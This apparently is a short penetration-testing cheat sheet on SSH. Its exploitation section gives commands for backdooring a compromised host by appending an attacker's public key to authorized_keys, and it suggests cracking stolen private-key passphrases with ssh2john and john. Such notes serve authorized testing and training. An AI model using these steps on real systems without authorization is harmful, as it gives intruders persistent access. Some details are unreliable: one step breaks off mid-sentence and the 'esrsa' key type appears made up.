Summery

SSH (Secure Shell) is a network protocol used to securely connect to and control another computer over a network.

It encrypts communication, including commands, passwords, and transferred data.
SSH is also commonly used for remote command execution (ssh), file transfers (scp) and port forwarding/tunneling (Tunneling and pivoting)

Exploitation

Backdoor with a key pair

If you already have access to a host that has SSH but you lack persistance or your shell is just weak, you can always create a key pair and try upload the

  1. Generate the keys with ssh-keygen -t ed25519
  2. Copy your public key wto your clipboard - cat /home/<USER>/.ssh/id_ed25519.pub
  3. Then, on the target host, run these commands
    • mkdir -p /home/<USER>/.ssh - Create the .ssh folder if it’s not yet there
    • touch /home/<USER>/.ssh/authorized_keys - Create the authorized_keys folder if it’s not yet there
    • echo '<YOUR PUBLIC KEY>' >> /home/<USER>/.ssh/authorized_keys - Put your public key into the authorized_keys file
    • chmod 700 /home/<USER>/.ssh - Make sure that .ssh folder has correct permissions
    • chmod 600 /home/<USER>/.ssh/authorized_keys - Make sure that authorized_keys file has correct permissions
  4. ssh -i /home/<USER>/.ssh/id_ed25519 user@TARGET_IP - Test the connection to the target host

Try to avoid using ~ here to be 100% sure where you put the keys and make folders.

Tips

  • If you get a private key (id_rsa), besides changing it’s permissions and trying it out, you need to consider cracking it with ssh2john if a passphrase is present - john.
  • Private keys are usually called id_rsa but they can change their default names depending on the underlying encryption type, for example, if you were to use esrsa rather than rsa it would be named id_esrsa.